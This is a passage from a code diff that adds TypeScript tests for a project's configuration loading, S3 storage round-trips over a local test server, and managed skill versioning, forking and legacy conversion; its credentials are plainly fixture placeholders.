file", (value) => { + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", value); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY_FILE", "/tmp/unused-master-key"); + expect(() => loadConfig()).toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/); + }); + + it("requires the Cloud bootstrap key even when an external secret provider is selected", () => { + vi.stubEnv("PAPERCLIP_SECRETS_PROVIDER", "aws_secrets_manager"); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", undefined); + expect(() => loadConfig()).toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012"); + expect(loadConfig().secretsProvider).toBe("aws_secrets_manager"); + }); + + it.each(["", "{bad", JSON.stringify({ v: 1, mode: "cloud" })])("rejects malformed managed config before startup (%j)", (value) => { + vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", value); + expect(() => loadConfig()).toThrow(/PAPERCLIP_MANAGED_CONFIG/); + }); + + it("accepts imported explicit file storage with an environment-owned database", async () => { + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined); + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined); + writeConfig({ provider: "s3", s3: { bucket: "file-bucket", region: "eu-west-1" } }); + setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: await readLegacyCloudRuntimeConfig() }); + expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: "file-bucket", storageS3Region: "eu-west-1" }); + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "typo"); + expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/); + }); + + it.each([{ provider: "s3" }, { provider: "s3", s3: { region: "us-east-1" } }])("rejects a real config file with an omitted bucket before import (%j)", async storage => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined); + writeConfig(storage); + // Self-hosted readers still expose their default and raw-file provenance. + vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined); + expect(readConfigFile({ includeProvenance: true })).toMatchObject({ config: { storage: { s3: { bucket: "paperclip" } } }, explicitStorageS3Bucket: false }); + vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", managed); + await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/); + }); + + it.each(["", " "])("rejects an explicitly blank bucket in a real file (%j)", async bucket => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined); + writeConfig({ provider: "s3", s3: { bucket } }); + await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/); + }); + + it.each([undefined, "", " "].flatMap(bucket => [undefined, "environment-bucket"].map(environmentBucket => ({ bucket, environmentBucket }))))("rejects a legacy local-disk file with no explicit bucket before an S3 environment overlay (%j)", async ({ bucket, environmentBucket }) => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", environmentBucket); + writeConfig({ provider: "local_disk", s3: { bucket } }); + await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/); + }); + + it("accepts an explicitly supplied default bucket name in a real file", async () => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined); + writeConfig({ provider: "s3", s3: { bucket: "paperclip" } }); + setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: await readLegacyCloudRuntimeConfig() }); + expect(loadConfig().storageS3Bucket).toBe("paperclip"); + }); + + it("accepts an environment bucket with an authoritative absent-file snapshot", () => { + writeConfig({ provider: "s3" }); + expect(loadConfig().storageS3Bucket).toBe("test-bucket"); + }); + + it("preserves ordinary self-hosted defaults, including key-file use", () => { + for (const name of ["PAPERCLIP_MANAGED_CONFIG", "PAPERCLIP_STORAGE_PROVIDER", "PAPERCLIP_STORAGE_S3_BUCKET", "DATABASE_URL", "PAPERCLIP_SECRETS_MASTER_KEY"]) vi.stubEnv(name, undefined); + expect(loadConfig()).toMatchObject({ storageProvider: "local_disk", storageS3Bucket: "paperclip", databaseUrl: undefined, databaseMode: "embedded-postgres" }); + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "typo"); + expect(loadConfig().storageProvider).toBe("local_disk"); + }); +}); + +// Real provider + AWS SDK over loopback. The remote S3 service and credentials +// are simulated; this does not establish deployment bucket permissions. +it("uses the validated config for normal S3 put/read/delete and stable env-key encryption", async () => { + const objects = new Map(); + const operations: string[] = []; + const server = createServer(async (req, res) => { + const key = new URL(req.url!, "http://localhost").pathname; + operations.push(`${req.method} ${key}`); + if (req.method === "PUT") { + const chunks: Buffer[] = []; + for await (const chunk of req) chunks.push(Buffer.from(chunk)); + objects.set(key, Buffer.concat(chunks)); + res.end(); + } else if (req.method === "GET" && objects.has(key)) { + const body = objects.get(key)!; + res.writeHead(200, { "content-type": "text/plain", "content-length": body.length }); + res.end(body); + } else if (req.method === "DELETE") { + objects.delete(key); + res.writeHead(204).end(); + } else { + res.writeHead(404).end(); + } + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + vi.stubEnv("AWS_ACCESS_KEY_ID", "fixture-access-key"); + vi.stubEnv("AWS_SECRET_ACCESS_KEY", "fixture-secret-key"); + vi.stubEnv("AWS_SESSION_TOKEN", undefined); + vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", `http://127.0.0.1:${(server.address() as AddressInfo).port}`); + vi.stubEnv("PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE", "true"); + vi.stubEnv("PAPERCLIP_STORAGE_S3_PREFIX", "disposable-qualification"); + try { + const config = loadConfig(); + const first = createStorageProviderFromConfig(config); + await first.putObject({ objectKey: "company/object.txt", body: Buffer.from("retained"), contentType: "text/plain", contentLength: 8 }); + const replacement = createStorageProviderFromConfig(loadConfig()); + const result = await replacement.getObject({ objectKey: "company/object.txt" }); + const chunks: Buffer[] = []; + for await (const chunk of result.stream) chunks.push(Buffer.from(chunk)); + expect(Buffer.concat(chunks).toString()).toBe("retained"); + await replacement.deleteObject({ objectKey: "company/object.txt" }); + expect(objects.size).toBe(0); + expect(operations).toEqual(["PUT", "GET", "DELETE"].map(method => `${method} /test-bucket/disposable-qualification/company/object.txt`)); + const encrypted = createLocalEncryptedCipher("write").encrypt("saved credential"); + expect(createLocalEncryptedCipher("read").decrypt(encrypted)).toBe("saved credential"); + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +}); diff --git a/server/src/__tests__/managed-skill-content.test.ts b/server/src/__tests__/managed-skill-content.test.ts new file mode 100644 index 00000000000..210a88a8fd7 --- /dev/null +++ b/server/src/__tests__/managed-skill-content.test.ts @@ -0,0 +1,395 @@ +import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js"; +import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js"; +import { eq } from "drizzle-orm"; +import { writePaperclipSkillSyncPreference } from "@paperclipai/adapter-utils/server-utils"; +import { materializeSelectedSkills, rehydratePinnedSkillAssets } from "../services/native-runtime/runtime-context.js"; +import { nativeRuntimeContextFixture } from "../services/native-runtime/runtime-context.test-fixture.js"; +import { randomUUID } from "node:crypto"; +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import { fileURLToPath } from "node:url"; +import { promises as fs } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import { applyPendingMigrations, agents, heartbeatRuns, companySkills, companySkillVersions, companies, createDb, instanceSettings } from "@paperclipai/db"; +import { companySkillService } from "../services/company-skills.js"; +import * as storageModule from "../storage/index.js"; +import { createStorageService } from "../storage/service.js"; +import { createLocalDiskStorageProvider } from "../storage/local-disk-provider.js"; +import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; + +const externalDatabase = process.env.PAPERCLIP_SKILL_TEST_DATABASE_URL; +const support = externalDatabase ? { supported: true } : await getEmbeddedPostgresTestSupport(); +if (!support.supported) console.warn("Managed skill integration database unavailable:", support); +describe.skipIf(!support.supported)("managed skills use committed versions", () => { + let database: Awaited>; + let db: ReturnType; + let root: string; + let home: string; + const previousHome = process.env.PAPERCLIP_HOME; + const previousInstance = process.env.PAPERCLIP_INSTANCE_ID; + const previousStorage = process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED; + beforeAll(async () => { + if (externalDatabase) { + await applyPendingMigrations(externalDatabase); + database = { connectionString: externalDatabase, cleanup: async () => {} }; + } else database = await startEmbeddedPostgresTestDatabase("managed-skill-content-"); + db = createDb(database.connectionString); + root = await fs.mkdtemp(path.join(os.tmpdir(), "managed-skill-content-")); + home = path.join(root, "server-a"); + process.env.PAPERCLIP_HOME = home; + process.env.PAPERCLIP_INSTANCE_ID = "default"; + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; + vi.spyOn(storageModule, "getStorageService").mockReturnValue( + createStorageService(createLocalDiskStorageProvider(path.join(root, "objects"))), + ); + }, 30_000); + afterAll(async () => { + vi.restoreAllMocks(); + if (previousHome === undefined) delete process.env.PAPERCLIP_HOME; + else process.env.PAPERCLIP_HOME = previousHome; + if (previousStorage === undefined) delete process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED; + else process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = previousStorage; + await db?.$client.end({ timeout: 1 }); + await database?.cleanup(); + if (root) await removeRuntimeAssetTree(root); + if (previousInstance === undefined) delete process.env.PAPERCLIP_INSTANCE_ID; + else process.env.PAPERCLIP_INSTANCE_ID = previousInstance; + }); + async function company() { + const id = randomUUID(); + await db.insert(companies).values({ id, name: "Managed content", issuePrefix: `M${id.slice(0, 6)}` }); + return id; + } + + it("imports supporting files from a root-level package without truncating their paths", async () => { + const companyId = await company(); + const service = companySkillService(db); + const [imported] = await service.importPackageFiles(companyId, { + "SKILL.md": "---\nname: Root package\n---\n# Root\n", + "references/guide.md": "complete root guide", + }); + expect(imported).toBeTruthy(); + const skills = await service.list(companyId); + const skill = skills.find(entry => entry.name === "Root package")!; + expect(await service.readFile(companyId, skill.id, "references/guide.md")) + .toMatchObject({ content: "complete root guide" }); + }); + + it.each([ + { storage: "legacy local", env: { PAPERCLIP_STORAGE_PROVIDER: "local_disk" }, expectedStatus: "local_storage" }, + { storage: "shared S3", env: { PAPERCLIP_STORAGE_PROVIDER: "s3", + PAPERCLIP_STORAGE_S3_BUCKET: "managed-skill-cli-fixture", PAPERCLIP_STORAGE_S3_REGION: "us-east-1", + PAPERCLIP_SECRETS_MASTER_KEY: "12345678901234567890123456789012" }, expectedStatus: "provider_mismatch" }, + ])("loads persisted Cloud configuration for read-only $storage maintenance without seeding it", async ({ env, expectedStatus }) => { + const companyId = await company(); + const skill = await companySkillService(db).createLocalSkill(companyId, { name: "Cloud CLI", markdown: "# Cloud CLI" }); + const local = await skillInstallationMaintenance(db).verifyVersions({ companyId, limit: 50 }); + expect(local.results).toEqual([expect.objectContaining({ versionId: skill.currentVersionId, status: "local_storage" })]); + const key = "cloud-runtime-config:v1"; + const run = (phase: string) => promisify(execFile)(process.execPath, [ + "--import", fileURLToPath(import.meta.resolve("tsx")), + fileURLToPath(new URL("../../scripts/migrate-skill-packages.ts", import.meta.url)), + `--phase=${phase}`, `--company=${companyId}`, "--limit=50", + ], { env: { ...process.env, DATABASE_URL: database.connectionString, + PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN: "disposable-cloud-cli-fixture", + PAPERCLIP_STORAGE_LOCAL_DIR: path.join(root, "objects"), ...env }, + timeout: 60_000, maxBuffer: 1024 * 1024 }); + await expect(run("eligibility")).rejects.toThrow("Initialize Cloud runtime configuration"); + expect(await db.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, key))).toHaveLength(0); + const [persisted] = await db.insert(instanceSettings).values({ singletonKey: key, general: { version: 1, revision: 0, config: null } }).returning(); + try { + const eligibility = JSON.parse((await run("eligibility")).stdout.trim().split("\n").at(-1)!); + expect(eligibility.results).toEqual([expect.objectContaining({ versionId: skill.currentVersionId, status: "version_backed" })]); + const verification = JSON.parse((await run("verification")).stdout.trim().split("\n").at(-1)!); + expect(verification.results).toEqual([expect.objectContaining({ versionId: skill.currentVersionId, status: expectedStatus })]); + expect(await db.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, key))).toEqual([persisted]); + } finally { + await db.delete(instanceSettings).where(eq(instanceSettings.singletonKey, key)); + } + }, 180_000); + + it("forks live linked-local content even when an older saved version exists", async () => { + const companyId = await company(); + const directory = path.join(root, `linked-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked\n"); + await fs.writeFile(path.join(directory, "support.txt"), "old saved content"); + const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Linked\n", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning(); + const service = companySkillService(db); + const saved = await service.createVersion(companyId, linked!.id); + await fs.writeFile(path.join(directory, "support.txt"), "current local content"); + await fs.writeFile(path.join(directory, "added.txt"), "new local file"); + const forked = await service.createLocalSkill(companyId, { name: "Live fork", forkedFromSkillId: linked!.id }); + expect(await service.readFile(companyId, forked.id, "support.txt")).toMatchObject({ content: "current local content" }); + expect(await service.readFile(companyId, forked.id, "added.txt")).toMatchObject({ content: "new local file" }); + expect((await service.getVersion(companyId, linked!.id, saved.id))?.fileInventory) + .toContainEqual(expect.objectContaining({ path: "support.txt", content: "old saved content" })); + }); + + it("carries committed version preconditions through a multi-file linked-local restore", async () => { + const companyId = await company(); + const directory = path.join(root, `restore-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# Original\n"); + await fs.writeFile(path.join(directory, "support.txt"), "original support"); + const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Original\n", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning(); + const service = companySkillService(db); + const saved = await service.createVersion(companyId, linked!.id); + const original = (await service.getVersion(companyId, linked!.id, saved.id))!; + await service.updateFile(companyId, linked!.id, "SKILL.md", "# Changed\n"); + await service.updateFile(companyId, linked!.id, "support.txt", "changed support"); + let versionId = (await service.readFile(companyId, linked!.id, "SKILL.md"))!.versionId; + expect(versionId).toBeTruthy(); + for (const file of original.fileInventory) { + const result = await service.updateFile(companyId, linked!.id, file.path, file.content, null, + { expectedVersionId: versionId }); + expect(result.versionId).toBeTruthy(); + expect(result.versionId).not.toBe(versionId); + versionId = result.versionId; + } + expect(await service.readFile(companyId, linked!.id, "SKILL.md")).toMatchObject({ content: "# Original\n", versionId }); + expect(await service.readFile(companyId, linked!.id, "support.txt")).toMatchObject({ content: "original support", versionId }); + }); + + it("keeps an unassigned skill, supporting bytes and executable mode across fresh homes", async () => { + const companyId = await company(); + const a = companySkillService(db); + const skill = await a.createLocalSkill(companyId, { name: "Cold", slug: "cold", markdown: "# First\n" }); + expect(skill.sourceType).toBe("managed"); + expect(skill.sourceLocator).toBeNull(); + expect(skill.currentVersionId).toBeTruthy(); + await expect(fs.stat(path.join(home, "instances/default/skills", companyId, "cold"))).rejects.toMatchObject({ code: "ENOENT" }); + const saved = await a.updateFile(companyId, skill.id, "scripts/run.sh", "#!/bin/sh\necho cold\n", null, + { executable: true, expectedVersionId: skill.currentVersionId }); + const binary = await a.updateFile(companyId, skill.id, "data.bin", "AP8H", null, + { encoding: "base64", expectedVersionId: saved.versionId }); + await fs.rm(home, { recursive: true, force: true }); + process.env.PAPERCLIP_HOME = path.join(root, "server-b"); + const b = companySkillService(db); + expect((await b.list(companyId)).some(item => item.id === skill.id)).toBe(true); + expect(await b.readFile(companyId, skill.id, "data.bin")).toMatchObject({ content: "AP8H", encoding: "base64", versionId: binary.versionId }); + const updated = await b.updateFile(companyId, skill.id, "SKILL.md", "# Saved on B\n", null, { expectedVersionId: binary.versionId }); + const [runtime] = await b.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true }); + expect(runtime).toMatchObject({ versionId: updated.versionId, sourceStatus: "available" }); + expect((await fs.stat(path.join(runtime!.source, "scripts/run.sh"))).mode & 0o111).not.toBe(0); + expect(await fs.readFile(path.join(runtime!.source, "data.bin"))).toEqual(Buffer.from([0, 255, 7])); + await fs.rm(process.env.PAPERCLIP_HOME, { recursive: true, force: true }); + process.env.PAPERCLIP_HOME = path.join(root, "server-c"); + expect(await companySkillService(db).readFile(companyId, skill.id, "SKILL.md")) + .toMatchObject({ content: "# Saved on B\n", versionId: updated.versionId }); + expect(await a.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ versionId: updated.versionId }); + }); + + it("rejects a save whose base changed while its package was being prepared", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Race" }); + await expect(service.updateFile(companyId, skill.id, "first.md", "first", null, { publication: { + beforeLock: async () => { await service.updateFile(companyId, skill.id, "second.md", "second"); }, + } })).rejects.toMatchObject({ status: 409 }); + expect(await service.readFile(companyId, skill.id, "second.md")).toMatchObject({ content: "second" }); + await expect(service.readFile(companyId, skill.id, "first.md")).rejects.toMatchObject({ status: 404 }); + await expect(service.updateFile(companyId, skill.id, "first.md", "stale", null, + { expectedVersionId: skill.currentVersionId })).rejects.toMatchObject({ status: 409 }); + }); + + it("rolls back publication without changing the head or an existing version", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Rollback", markdown: "# Original" }); + await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Rejected", null, + { publication: { afterPublish: async () => { throw new Error("failed audit"); } } })).rejects.toThrow("failed audit"); + expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original", versionId: skill.currentVersionId }); + expect(await service.listVersions(companyId, skill.id)).toHaveLength(1); + }); + + it("does not overwrite a metadata edit committed while content was being prepared", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Metadata race", markdown: "# Original" }); + await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Candidate", null, { publication: { + beforeLock: async () => { await service.updateSkill(companyId, skill.id, { description: "Acknowledged metadata" }); }, + } })).rejects.toMatchObject({ status: 409 }); + expect(await service.getById(companyId, skill.id)).toMatchObject({ description: "Acknowledged metadata", currentVersionId: skill.currentVersionId }); + expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original" }); + }); + + it("restores the exact historical inventory and preserves history through rename and fork", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "History", markdown: "# Original" }); + const extra = await service.updateFile(companyId, skill.id, "new.md", "not in first version"); + const restored = await service.createVersion(companyId, skill.id, + { sourceVersionId: skill.currentVersionId!, expectedVersionId: extra.versionId }); + await expect(service.readFile(companyId, skill.id, "new.md")).rejects.toMatchObject({ status: 404 }); + const renamed = await service.renameSkill(companyId, skill.id, { name: "Renamed", expectedVersionId: restored.id }); + expect(renamed.skill).toMatchObject({ id: skill.id, sourceType: "managed", sourceLocator: null }); + expect((await service.getVersion(companyId, skill.id, skill.currentVersionId!))!.fileInventory) + .toContainEqual({ path: "SKILL.md", kind: "skill", content: "# Original" }); + const fork = await service.forkSkill(companyId, skill.id); + expect(fork.skill).toMatchObject({ sourceType: "managed", sourceLocator: null, forkedFromSkillId: skill.id }); + expect((await service.readFile(companyId, fork.skill.id, "SKILL.md"))!.content) + .toBe((await service.readFile(companyId, skill.id, "SKILL.md"))!.content); + }); + it("persists selection before delivery and rejects deleting a detached active run's pin", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Pinned", markdown: "# pinned bytes" }); + const [agent] = await db.insert(agents).values({ companyId, name: "Runner" }).returning(); + const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running" }).returning(); + let persisted = false; + const entries = await service.withRuntimeSkillEntries(companyId, { + onlyKeys: new Set([skill.key]), snapshotLatest: true, + selectVersions: async selected => { + expect(selected).toEqual([expect.objectContaining({ skillId: skill.id, versionId: skill.currentVersionId })]); + expect(selected[0]).not.toHaveProperty("source"); + await expect(fs.stat(path.join(process.env.PAPERCLIP_HOME!, "instances/default/skills", companyId, + "__versions__", skill.id, skill.currentVersionId!))).rejects.toMatchObject({ code: "ENOENT" }); + await db.update(heartbeatRuns).set({ contextSnapshot: { skillVersions: { [skill.key]: skill.currentVersionId }, skillSelectionSnapshot: true } }) + .where(eq(heartbeatRuns.id, run!.id)); + persisted = true; + return new Set([skill.key]); + }, + }, async entries => { expect(persisted).toBe(true); return entries; }); + const config = writePaperclipSkillSyncPreference({}, [{ key: skill.key, versionId: skill.currentVersionId }]); + const selected = await materializeSelectedSkills(config, entries, false); + const context = { ...nativeRuntimeContextFixture(), skills: selected }; + const originalHome = process.env.PAPERCLIP_HOME!; + process.env.PAPERCLIP_HOME = path.join(root, `recovery-${randomUUID()}`); + const recovered = await rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, context); + expect(recovered.skills[0]!.bundle.digest).toBe(selected[0]!.bundle.digest); + expect(recovered.skills[0]!.bundle.rootPath).not.toBe(selected[0]!.bundle.rootPath); + expect(await fs.readFile(path.join(recovered.skills[0]!.bundle.rootPath, "SKILL.md"), "utf8")).toBe("# pinned bytes"); + await expect(rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, { + ...context, skills: [{ ...selected[0]!, bundle: { ...selected[0]!.bundle, digest: "0".repeat(64) } }], + })).rejects.toThrow("admitted digest"); + await expect(service.deleteSkill(companyId, skill.id)).rejects.toMatchObject({ status: 422 }); + await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id)); + await expect(service.deleteSkill(companyId, skill.id)).resolves.toMatchObject({ id: skill.id }); + process.env.PAPERCLIP_HOME = originalHome; + }); + + it("converts a legacy managed installation without changing its identity or identical version", async () => { + const companyId = await company(); + const directory = path.join(root, `legacy-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy saved"); + await fs.writeFile(path.join(directory, "support.txt"), "support"); + const [legacy] = await db.insert(companySkills).values({ companyId, key: `company/${companyId}/legacy`, slug: "legacy", + name: "Legacy", markdown: "# legacy saved", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }], + metadata: { sourceKind: "managed_local" } }).returning(); + const service = companySkillService(db); + const version = await service.createVersion(companyId, legacy!.id); + await db.update(companySkillVersions).set({ packageFileMap: null }).where(eq(companySkillVersions.id, version.id)); + const maintenance = skillInstallationMaintenance(db); + expect((await maintenance.installations({ id: legacy!.id })).results[0]!.status).toBe("conversion_required"); + await expect(maintenance.installations({ companyId, apply: true })).rejects.toMatchObject({ status: 409 }); + expect((await maintenance.installations({ id: legacy!.id, apply: true, writersStopped: true })).results) + .toEqual([expect.objectContaining({ skillId: legacy!.id, versionId: version.id, status: "converted" })]); + await fs.rm(directory, { recursive: true }); + expect(await service.getById(companyId, legacy!.id)).toMatchObject({ sourceType: "managed", sourceLocator: null, currentVersionId: version.id }); + expect(await service.readFile(companyId, legacy!.id, "support.txt")).toMatchObject({ content: "support" }); + expect((await maintenance.eligibility({ id: legacy!.id })).results[0]!.status).toBe("version_backed"); + }); + + it("reports an unrecoverable legacy installation and leaves linked sources alone", async () => { + const companyId = await company(); + const [legacy] = await db.insert(companySkills).values({ companyId, key: "legacy-missing", slug: "legacy-missing", name: "Missing", + markdown: "partial metadata only", sourceType: "local_path", sourceLocator: path.join(root, "absent"), + metadata: { sourceKind: "managed_local" } }).returning(); + const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Linked", sourceType: "local_path", sourceLocator: path.join(root, "linked") }).returning(); + const report = await skillInstallationMaintenance(db).installations({ companyId, apply: true, writersStopped: true }); + expect(report.results).toEqual(expect.arrayContaining([ + expect.objectContaining({ skillId: legacy!.id, status: "blocked" }), + expect.objectContaining({ skillId: linked!.id, status: "linked_local" }), + ])); + expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null }); + }); + + it("converts a missing legacy directory from its complete saved version", async () => { + const companyId = await company(); + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Saved conversion", markdown: "# saved" }); + const saved = await service.updateFile(companyId, skill.id, "support.txt", "complete supporting content"); + await db.update(companySkills).set({ sourceType: "local_path", sourceLocator: path.join(root, "missing-legacy"), + metadata: { sourceKind: "managed_local" } }).where(eq(companySkills.id, skill.id)); + const maintenance = skillInstallationMaintenance(db); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results) + .toEqual([expect.objectContaining({ skillId: skill.id, versionId: saved.versionId, status: "converted" })]); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]!.status).toBe("unchanged"); + expect(await service.readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "complete supporting content" }); + }); + + it.each([false, true])("blocks an incomplete installed repository version and converts only its exact source (package: %s)", async packaged => { + const companyId = await company(), service = companySkillService(db); + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = String(packaged); + const skill = await service.createLocalSkill(companyId, { name: "Partial legacy repository", markdown: "# Installed revision" }); + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; + const commit = "a".repeat(40); + await db.update(companySkills).set({ sourceType: "github", sourceLocator: `https://github.com/fixture/skills/tree/${commit}/fixture`, + sourceRef: commit, metadata: { owner: "fixture", repo: "skills", repoSkillDir: "fixture" }, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "reference.md", kind: "reference" }], + }).where(eq(companySkills.id, skill.id)); + const fetchMock = vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response("unavailable", { status: 404 })); + try { + const maintenance = skillInstallationMaintenance(db); + expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "incomplete_current_version" }); + expect((await maintenance.verifyVersions({ id: skill.currentVersionId! })).results[0]).toMatchObject({ status: "incomplete_current_version" }); + expect(fetchMock).not.toHaveBeenCalled(); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "blocked" }); + expect((await db.select().from(companySkills).where(eq(companySkills.id, skill.id)))[0].currentVersionId).toBe(skill.currentVersionId); + fetchMock.mockImplementation(async url => { + expect(String(url)).toBe(`https://raw.githubusercontent.com/fixture/skills/${commit}/fixture/reference.md`); + return new Response("Exact installed supporting content"); + }); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "converted" }); + expect(await service.readFile(companyId, skill.id, "reference.md")).toMatchObject({ content: "Exact installed supporting content" }); + expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "version_backed" }); + expect((await maintenance.verifyVersions({ companyId })).results.every(row => row.status !== "incomplete_current_version")).toBe(true); + const calls = fetchMock.mock.calls.length; + expect((await maintenance.installations({ id: skill.id })).results[0]).toMatchObject({ status: "unchanged" }); + expect(fetchMock).toHaveBeenCalledTimes(calls); + } finally { fetchMock.mockRestore(); } + }); + + it("rejects unsafe legacy sources without publishing a partial conversion", async () => { + const companyId = await company(); + const directory = path.join(root, `unsafe-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy"); + await fs.symlink(path.join(root, "unrelated"), path.join(directory, "support.txt")); + try { + const [legacy] = await db.insert(companySkills).values({ companyId, key: "unsafe", slug: "unsafe", name: "Unsafe", markdown: "# legacy", + sourceType: "local_path", sourceLocator: directory, metadata: { sourceKind: "managed_local" } }).returning(); + expect((await skillInstallationMaintenance(db).installations({ id: legacy!.id, apply: true, writersStopped: true })).results) + .toEqual([expect.objectContaining({ status: "blocked", reason: "Legacy skill contains a symbolic link" })]); + expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null }); + } finally { await fs.unlink(path.join(directory, "support.txt")); } + }); + + it("keeps the compatibility override durable in Postgres and reports that storage accurately", async () => { + const companyId = await company(); + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "false"; + try { + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Inline durable", markdown: "# database bytes" }); + const saved = await service.updateFile(companyId, skill.id, "support.txt", "also in Postgres"); + expect((await skillInstallationMaintenance(db).verifyVersions({ id: saved.versionId! })).results) + .toEqual([expect.objectContaining({ status: "database_snapshot", packageId: null })]); + const priorHome = process.env.PAPERCLIP_HOME; + process.env.PAPERCLIP_HOME = path.join(root, `inline-cold-${randomUUID()}`); + try { + expect(await companySkillService(db).readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "also in Postgres" }); + } finally { process.env.PAPERCLIP_HOME = priorHome; } + } finally { process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; } + }); + +}); diff --git a/server/src/__tests__/plan-task-fixture.test.ts b/server/src/__tests__/plan-task-fixture.test.ts index d99f35cfdcc..1cdd8c14fef 100644 --- a/server/src/__tests__/plan-task-fixture.test.ts +++ b/server/src/__tests__/plan-task-fixture.test.ts @@ -7,6 +7,7 @@ import request from "supertest"; import { afterAll, beforeAll, describe, expect, 